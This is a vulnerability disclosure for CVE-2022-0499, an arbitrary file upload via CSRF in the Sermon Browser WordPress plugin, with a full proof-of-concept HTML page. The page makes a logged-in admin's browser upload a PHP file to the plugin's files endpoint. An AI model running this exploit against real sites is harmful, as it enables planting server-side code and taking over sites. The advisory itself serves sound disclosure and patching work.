Sermon Browser <= 0.45.22 – Arbitrary File Upload via CSRF | CVE 2022-0499

Description

The plugin does not have CSRF checks in place when uploading Sermon files, and does not validate them in any way, allowing attackers to make a logged in admin upload arbitrary files such as PHP ones.

Proof of Concept

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/example.com\/wp-admin\/admin.php?page=sermon-browser\/files.php", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------271015847919477243333798421416");
        xhr.withCredentials = true;
        var body = "-----------------------------271015847919477243333798421416\r\n" + 
          "Content-Disposition: form-data; name=\"upload\"; filename=\"file.php\"\r\n" + 
          "Content-Type: text/php\r\n" + 
          "\r\n" + 
          "\x3c?php echo \'FAILED\'; ?\x3e\n" + 
          "\r\n" + 
          "-----------------------------271015847919477243333798421416\r\n" + 
          "Content-Disposition: form-data; name=\"save\"\r\n" + 
          "\r\n" + 
          "Upload \xc2\xbb\r\n" + 
          "-----------------------------271015847919477243333798421416--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

Or, as admin, upload a PHP file via the Sermon > Files feature of the plugin.

The file will be at https://example.com/wp-content/uploads/sermons/file.php